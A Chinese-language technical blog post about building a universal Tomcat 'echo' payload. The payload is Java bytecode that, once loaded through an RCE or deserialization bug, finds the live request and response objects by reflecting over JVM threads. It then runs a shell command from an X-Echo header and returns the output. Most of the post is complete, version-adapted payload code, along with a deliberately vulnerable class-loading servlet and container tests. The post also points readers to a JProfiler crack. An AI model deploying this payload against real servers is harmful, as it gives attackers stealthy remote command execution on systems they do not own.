Tomcat 通用回显初见到全版本适配
2025-08-04TL;DR
- 第一次真正去了解回显马,发现还是挺神奇的
- 很多项目中充斥着只写了一两版的代码,还有直接 CV 的,我将带领大家写出真正可维护的代码(漂亮代码)
- 学习一下使用 JProfiler 分析 heapDump 的对象引用来解决 Tomcat5 的回显适配
前言
在 2024 年 12 月 31 日,当时我刚写 MemShellParty 这个项目没多久,红队大佬 @xcxmiku 就找到我说,能不能加一个回显功能,并给我推荐了 java-echo-generator 这个项目,起初我以为只是一个命令执行的内存马,当时也正准备写 MemShellParty Agent 通用内存马,所以一直没有去了解这块。
时过境迁
现在 MemShellParty 相对很完善了,所以准备考虑写一些其他 payload 了,后续可能还会做 Web 版的 WebShell 的管理工具(纯玩具版)。
回显马
通过 基于全局储存的新思路 | Tomcat 的一种通用回显方法研究 可了解到,一般反序列化漏洞都是业务环境,无法直接回显带出我们想要的信息,不过通过回显马我们通过对象查找找到 request 和 response 对象,往 response 对象写东西来达到任意业务漏洞环境的回显。
为了和内存马通过线程遍历找 ServletContext 一致,这边我也决定使用线程遍历找 request 实现回显马,而不考虑 Thread.currentThread()、JmxMBeanServer 等等。
学习与实现
对于初入网络安全的萌新,做什么东西都感觉已经有大佬铺好路了,只管学就完事了,因此直接找找现成的文章先学习一下思路,根据我装软件的习惯,先不管内容,新的就是最好的。我找到了以下学习资料:
- feihong-cs/Java-Rce-Echo/TomcatEcho-全版本.jsp
- pen4uin/java-echo-generator/TomcatCmdExecTpl.java
- vulhub/java-chains — 需要反编译,在 chains-core 中 com.ar3h.chains.gadget.impl.bytecode.echo.template.TomcatEcho2Bytecode.class
- 基于全局储存的新思路 | Tomcat 的一种通用回显方法研究
怎么说呢,pen4uin/java-echo-generator 的写法和 feihong-cs/Java-Rce-Echo 很像,但是 java 文件里面写各种 var 的变量名,看着就是反编译谁的代码,这不是给人看的,最后只有 vulhub/java-chains 中 @Ar3h 的代码稍微能看下去。
以下是 java-chains/TomcatEcho2Bytecode.class 的代码片段
Thread[] var2 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int var3 = 0; var3 < var2.length; ++var3) {
Thread var4 = var2[var3];
if (var4 != null) {
String var5 = var4.getName();
if (!var5.contains("exec") && var5.contains("http")) {
Object var6 = getFV(var4, "target");
if (var6 instanceof Runnable) {
try {
var6 = getFV(getFV(getFV(var6, "this$0"), "handler"), "global");
} catch (Exception var141) {
continue;
}
List var8 = (List) getFV(var6, "processors");
}
}
}
}
随便编写一个 Servlet 调试一下 Tomcat 可知,通过 target.this$0.handler.global 这个线程就是 http-nio-8082-Poller 线程,不过在 http-nio-8082-Acceptor 也有获取方式,target.endpoint.handler.global。
接下来就是看下面获取 request 和 response 部分的代码。
List var8 = (List) getFV(var6, "processors");
for (int var9 = 0; var9 < var8.size(); ++var9) {
Object var10 = var8.get(var9);
var6 = getFV(var10, "req");
Object var11 = var6.getClass().getMethod("getResponse").invoke(var6);
try {
var5 = (String) var6.getClass().getMethod("getHeader", String.class).invoke(var6, new String(header));
if (var5 != null && !var5.isEmpty()) {
String c = new String(Base64.getDecoder().decode(var5));
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", c} : new String[]{"/bin/sh", "-c", c};
writeBody(var11, ((new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next() + "=====").getBytes());
var1 = true;
}
if (var1) {
break;
}
} catch (Exception var13) {
writeBody(var11, var13.getMessage().getBytes());
}
}
这个地方的 req 类名是 org.apache.coyote.Request,通过 req.getResponse() 获取的 response 类名是 org.apache.coyote.Response,这两个都不是 Servlet 是规范实现,而是 Tomcat 自己的,所以 API 的使用上是有出入的。
当看到这串代码的时候,我的注意力就来到了这个 Exception 的 message 打印逻辑,因为 e.printStackTrace() 是支持传 PrintWriter 的,例如 e.printStracTrace(response.getWriter()) 这种就能把堆栈报错直接往 response 里面塞,不过这儿是 org.apache.coyote.Response,查了以下只有 doWrit 方法,我就去请教 Gemini 老师了,Tomcat Echo: RCE 漏洞利用技术,没想到他真会!!!
java.io.StringWriter sw = new java.io.StringWriter();
e.printStackTrace(new java.io.PrintWriter(sw));
String exceptionAsString = sw.toString();
但是我又看了看 org.apache.coyote.Response 实现的 writeBody 那个东西又臭又长,i dislike
private static void writeBody(Object var0, byte[] var1) throws Exception {
byte[] var2 = var1;
try {
Class var4 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
Object var3 = var4.newInstance();
var4.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var3, var2, new Integer(0), new Integer(var2.length));
var0.getClass().getMethod("doWrite", var4).invoke(var0, var3);
} catch (Exception var6) {
Class var4 = Class.forName("java.nio.ByteBuffer");
Object var3 = var4.getDeclaredMethod("wrap", byte[].class).invoke(var4, var1);
var0.getClass().getMethod("doWrite", var4).invoke(var0, var3);
}
}
转眼我又去看了 pen4uin/java-echo-generator 的实现方式,发现他拿的就是 ServletResponse 的实现,主要是这个 getNote 方法。
for (int var6 = 0; var6 < var5.size(); ++var6) {
var3 = var5.get(var6).getClass().getDeclaredField("req");
var3.setAccessible(true);
var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var3.get(var5.get(var6)), 1);
String var7;
try {
var7 = (String) var3.get(var5.get(var6)).getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var3.get(var5.get(var6)), new Object[]{getReqHeaderName()});
if (var7 != null) {
Object response = var4.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(var4, new Object[0]);
Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);
writer.write(exec(var7));
writer.flush();
writer.close();
break;
}
} catch (Exception ignored) {
}
}
这个我跟了一下源码(方法就是,前面不是打了断点,在堆栈那个视图,一个一个点,看里面的方法体里面有没有相关的东西,有时候点过去位置不对就搜一下方法名,直接看方法),就是 org.apache.catalina.connector.CoyoteAdapter#service 这个前几行。
public static final int ADAPTER_NOTES = 1;
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
Request request = (Request) req.getNote(ADAPTER_NOTES);
Response response = (Response) res.getNote(ADAPTER_NOTES);
if (request == null) {
// Create objects
request = connector.createRequest();
request.setCoyoteRequest(req);
response = connector.createResponse();
response.setCoyoteResponse(res);
// Link objects
request.setResponse(response);
response.setRequest(request);
// Set as notes
req.setNote(ADAPTER_NOTES, request);
res.setNote(ADAPTER_NOTES, response);
// Set query string encoding
req.getParameters().setQueryStringCharset(connector.getURICharset());
}
}
这就简单了,看起来 pen4uin/java-echo-generator 还是有可以借鉴的地方,学习了,按着这个思路,以下是我的第一版漂亮代码。(注释要写好,以免下次看到又忘记了)getFieldValue 和 invokeMethod 可直接在 MemShellParty 中搜索实现,这个下面就不展示了。
public class TomcatEcho {
public TomcatEcho() {
try {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Object target = getFieldValue(thread, "target");
if (target instanceof Runnable) {
Object requestGroupInfo;
try {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
} catch (NoSuchFieldException ignored) {
continue;
}
if (requestGroupInfo == null) {
continue;
}
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
for (Object processor : processors) {
// org.apache.coyote.Request
Object coyoteRequest = getFieldValue(processor, "req");
// org.apache.catalina.connector.Request
Object request = invokeMethod(coyoteRequest, "getNote", new Class[]{Integer.class}, new Object[]{1});
// org.apache.catalina.connector.Response
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromRequest(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
}
writer.flush();
writer.close();
return;
}
}
}
}
} catch (Throwable ignored) {
}
}
private String getDataFromRequest(Object request) throws Exception {
return (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{"X-Echo"});
}
private String run(String data) throws Exception {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
return new Scanner((new ProcessBuilder(cmd)).start().getInputStream()).useDelimiter("\\A").next();
}
}
自动化测试
写好之后,应该怎么测试,我想这也是为什么那么多人 CV 的原因,大佬写了一版测了那么多,我又不测试,要不就直接 CV 吧,生怕改坏了(或者他这么写一定有他的道理的,还是不改了)。
了解 MemShellParty 的人都知道,里面有超多中间件测试镜像,自带靶场,那测试一个回显自然不在话下。
测试步骤为,在靶场写一个 RCE,然后将回显的字节码发送给靶场,assert 靶场的响应为我们预期即可。
我写了一个超级无敌 RCE 的 base64 defineClass 的漏洞靶场,直接读取 data 中的 base64 类字节码进行加载,并且往响应里面打印类对象(会自动 toString,也可以测其他恶意代码写在 toString 的 payload)。
public class Base64ClassLoaderServlet extends ClassLoader implements Servlet {
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String data = req.getParameter("data");
try {
byte[] bytes = decodeBase64(data);
Object obj = defineClass(null, bytes, 0, bytes.length).newInstance();
res.getWriter().print(obj);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
接下来就是编写测试流程,通过 Testcontainers 启动环境并部署靶场,发送请求 assert 响应结果。
@Slf4j
@Testcontainers
public class Tomcat8ContainerTest {
public static final String imageName = "tomcat:8-jre8";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") // 挂载靶场包
.waitingFor(Wait.forHttp("/app")) // 等待靶场成功,/app 可访问
.withExposedPorts(8080); // 暴露端口
public static String getUrl(GenericContainer<?> container) {
int port = container.getMappedPort(8080); // 获取 8080 随机映射端口
String url = "http://127.0.0.1:" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@Test
@SneakyThrows
void testCommandEcho() {
String url = getUrl(container);
String content = DetectionTool.getBase64Class(TomcatEcho.class);
RequestBody requestBody = new FormBody.Builder()
.add("data", content)
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header("X-Echo", "id")
.url(url + "/b64").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
System.out.println(container.getLogs()); // 打印 Tomcat 容器日志,在 TomcatEcho 加打印可以直接看
assertThat(response.body().string(), anyOf(
containsString("uid=")
));
}
}
}
3s 左右就能跑完一个中间件的测试,香得一!!!
接下来就是编写回显命令执行异常的回显情况,执行系统没有的命令
@Test
@SneakyThrows
void testCommandEchoException() {
String url = getUrl(container);
String content = DetectionTool.getBase64Class(TomcatEcho.class);
RequestBody requestBody = new FormBody.Builder()
.add("data", content)
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header("X-Echo", "hello")
.url(url + "/b64").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
assertThat(response.body().string(), anyOf(
containsString("hello: not found")
));
}
}
代码调整为如下,InputStream 没东西就拿 ErrorStream
private String run(String data) throws Exception {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
Process process = new ProcessBuilder(cmd).start();
try {
return new Scanner(process.getInputStream()).useDelimiter("\\A").next();
} catch (NoSuchElementException e) {
return new Scanner(process.getErrorStream()).useDelimiter("\\A").next();
}
}
在测试 JDK21 的 Tomcat 环境下一直报错,发现是 JDK21 的线程没有 target 了
Object target = null;
try {
target = getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21
target = getFieldValue(getFieldValue(thread, "holder"), "task");
}
当我在测试 Tomcat5 的环境时,一直失败,自动化测试的好处就是,改了一点代码就能直接跑进行验证,所以我一边打印一边猜测哪里可能有问题进行代码调整,这样测试了好半天也没结果,决定还是起环境调试吧。
Tomcat5 回显
MemShellParty 自带很多 docker 环境,可直接测试,启动 integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml,(war 包就是项目里面的靶场包,编译命令为 ./gradlew :vul:vul-webapp:war
)
services:
tomcat56:
image: reajason/tomcat:5-jdk6
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
开启远程调试,在靶场的 TestServlet.java 打断点,发请求
我在控制台里面翻了好久,突然想起来大佬说用 c0ny1/java-object-searcher,不过我还是决定另辟蹊径,使用 HeapDump 配合 JProfiler。
停掉断点,然后进容器进行 heapDump,最后一个 1 为 PID
[root@b2b07b202dd6 tomcat]# jmap -dump:format=b,file=heapdump.hprof 1
Dumping heap to /usr/local/tomcat/heapdump.hprof ...
Heap dump file created
在终端将文件移动出来
❯ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b2b07b202dd6 reajason/tomcat:5-jdk6 "/usr/local/tomcat/b…" 10 minutes ago Up 10 minutes 0.0.0.0:5005->5005/tcp, [::]:5005->5005/tcp, 0.0.0.0:8080->8080/tcp, [::]:8080->8080/tcp tomcat-tomcat56-1
8f40f6fb2832 e334cc02300c "buildkitd --allow-i…" 3 months ago Up 11 days buildx_buildkit_mybuilder0
░▒▓
❯ docker cp b2:/usr/local/tomcat/heapdump.hprof .
Successfully copied 28.7MB to /Users/reajason/Downloads/.
打开 JProfiler(激活问题可参考:记录 JProfiler V15 破解)就会弹出 JProfiler Start Center,点 Open Snapshots 的第一个,然后选中我们的 heapDump 文件。
这时候需要我们想一想我们要搜什么对象,根据前文的回显机制,就是获取到 global 里面有 processors 就能遍历请求了,global 这个对象的类名是 org.apache.coyote.RequestGroupInfo,我们就搜这个。
在下面的 Class View Filter 里面输入并回车。可以看到 InstanceCount 实例对象是有两个的。
双击,选择 References 里面的 Incoming references,这个意思是查找谁引用了这个对象。另外一个 Outcomming references 就反过来,选中对象引用了哪些其他对象。
有两个,这种情况看下差别,很明显我们要拿 RequestInfo 下面这个看起来比较可靠
在第二个对象右键,选择第一个,意为只选中当前对象进行分析,同样弹出的框,仍然选择 Incoming references
点击一下这个对象,展开一下,这个时候就可以点击右边的 Show Paths to GC Root,这个的目的就是查到对象的引用链路。选择的配置按如图。
最下面这个 resource 看起来就是 JmxMBeanServer 的方式,因为我们要遍历线程,所以我们需要找最下面一直到 java.lang.Thread 的线路。
红色的向上箭头指的是 GC 路径上的点,但是这种情况信息有点少,在 global 这个节点,点一下收缩,再点一下展开,就能看到更多的信息,如下图
通过翻找和 Thread 相关的节点,找到如下链路
target.toRun.endpoint.handler.global
如下是第二条链路
thData.[index].endpoint.handler.global
像这种还有很多,大家感兴趣可以自己尝试一下,我们可以开启断点再验证一下。
两个都是获取到的一个对象,因此都是可用的。为减少代码量,我选择第一条链路,直接属性调用,不需要遍历可以减少代码。
与此同时,我发现 !var5.contains("exec") && var5.contains("http")
不太可用,因此我打印了所有命中的 threadName 和 targetClassName。
最终实现
public class TomcatEcho {
static {
new TomcatEcho();
}
public TomcatEcho() {
try {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Object target = null;
try {
target = getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21
target = getFieldValue(getFieldValue(thread, "holder"), "task");
}
if (target == null) {
continue;
}
Object requestGroupInfo = null;
// Tomcat6 http-8080-Acceptor-0 <-> org.apache.tomcat.util.net.JIoEndpoint$Acceptor
// Tomcat7 http-apr-8080-Poller <-> org.apache.tomcat.util.net.AprEndpoint$Poller
// Tomcat8 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller
// Tomcat9 http-nio-8080-ClientPoller-0 <-> org.apache.tomcat.util.net.NioEndpoint$Poller
// Tomcat10 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller
// Tomcat11 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller
String threadName = thread.getName();
if ((threadName.contains("Poller") || threadName.contains("Acceptor"))
&& !threadName.contains("ajp")
) {
try {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
} catch (NoSuchFieldException ignored) {
continue;
}
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
try {
Object toRun = getFieldValue(target, "toRun");
if (toRun != null) {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(toRun, "endpoint"), "handler"), "global");
}
} catch (NoSuchFieldException e) {
continue;
}
}
if (requestGroupInfo == null) {
continue;
}
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
for (Object processor : processors) {
// org.apache.coyote.Request
Object coyoteRequest = getFieldValue(processor, "req");
// org.apache.catalina.connector.Request
Object request = invokeMethod(coyoteRequest, "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
// org.apache.catalina.connector.Response
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromRequest(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
}
writer.flush();
writer.close();
return;
}
}
}
} catch (Throwable ignored) {
}
}
private String getDataFromRequest(Object request) throws Exception {
return (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{"X-Echo"});
}
private String run(String data) throws Exception {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
Process process = new ProcessBuilder(cmd).start();
try {
return new Scanner(process.getInputStream()).useDelimiter("\\A").next();
} catch (NoSuchElementException e) {
return new Scanner(process.getErrorStream()).useDelimiter("\\A").next();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
}
MemShellParty 2.0 目前仍然在开发阶段,这部分代码之后会随着发版进行上线,敬请期待。
额外的测试
RequestGroupInfo 中拿到的 processors 是 Tomcat 整个生命周期所有的 RequestInfo 对象,其中也包含其他业务请求,当业务在高并发环境下做回显马利用,会不会有修改其他业务请求回显的风险,导致业务行为中断。
测试方法,编写 K6 压测脚本,10 线程并行压测业务接口,并断言响应码为 200,调整回显马代码,回显成功时修改 response.statusCode 为 201,在压测过程中,发送回显马利用,如果有影响,压测报告中会有不是 200 的响应结果。结论是当前回显马并不会影响正常业务。
压测脚本:k6test.js
import http from 'k6/http';
import {check, sleep} from 'k6';
export const options = {
rps: 4500,
vus: 10,
duration: '5m',
};
export default function () {
const res = http.get('http://localhost:8082/app/test');
check(res, {
'status is 200': (r) => r.status === 200,
});
sleep(1);
}
回显马调整:
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
}
invokeMethod(response, "setStatus", new Class[]{Integer.TYPE}, new Object[]{201}); // 这儿设置新的状态码
writer.flush();
writer.close();
return;
}
新写一个单测,用于回显马利用:
public class EchoTest {
@Test
@SneakyThrows
void test() {
String url = "http://localhost:8082/app";
String content = DetectionTool.getBase64Class(TomcatEcho.class);
RequestBody requestBody = new FormBody.Builder()
.add("data", content)
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header("X-Echo", "id")
.url(url + "/b64").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
assertEquals(201, response.code());
assertThat(response.body().string(), anyOf(
containsString("uid=")
));
}
}
}
启动靶场,并开启压测脚本:
k6 run k6test.js
运行回显马单测成功,且压测数据无异常
EchoTest > test() PASSED
❯ k6 run asserts/k6test.js
/\ Grafana /‾‾/
/\ / \ |\ __ / /
/ \/ \ | |/ / / ‾‾\
/ \ | ( | (‾) |
/ __________ \ |_|\_\ \_____/
execution: local
script: asserts/k6test.js
output: -
scenarios: (100.00%) 1 scenario, 10 max VUs, 5m30s max duration (incl. graceful stop):
* default: 10 looping VUs for 5m0s (gracefulStop: 30s)
█ TOTAL RESULTS
checks_total.......................: 2820 9.398366/s
checks_succeeded...................: 100.00% 2820 out of 2820
checks_failed......................: 0.00% 0 out of 2820
✓ status is 200
running (5m00.1s), 00/10 VUs, 2820 complete and 0 interrupted iterations
default ✓ [======================================] 10 VUs 5m0s
额外的发现,processor 这个对象就是 RequestInfo,注释说 without having to deal with synchronization,不用关系线程安全的问题,我测试了一下当前线程下只会有一个能用的。
/**
* Structure holding the Request and Response objects. It also holds statistical information about request processing
* and provide management information about the requests being processed. Each thread uses a Request/Response pair that
* is recycled on each request. This object provides a place to collect global low-level statistics - without having to
* deal with synchronization ( since each thread will have it's own RequestProcessorMX ).
*
* @author Costin Manolache
*/
public class RequestInfo {
}
因此回显马也可以改为如下:
for (Object processor : processors) {
Integer stage = (Integer) getFieldValue(processor, "stage");
if (stage == 7) { // org.apache.coyote.Constants#STAGE_ENDED
continue;
}
// org.apache.coyote.Request
Object coyoteRequest = getFieldValue(processor, "req");
// org.apache.catalina.connector.Request
Object request = invokeMethod(coyoteRequest, "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
// org.apache.catalina.connector.Response
Object response = invokeMethod(request, "getResponse", null, null);
String data = "id"; // 直接将执行命令内置在字节码中
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
}
invokeMethod(response, "setStatus", new Class[]{Integer.TYPE}, new Object[]{201});
writer.flush();
writer.close();
return;
}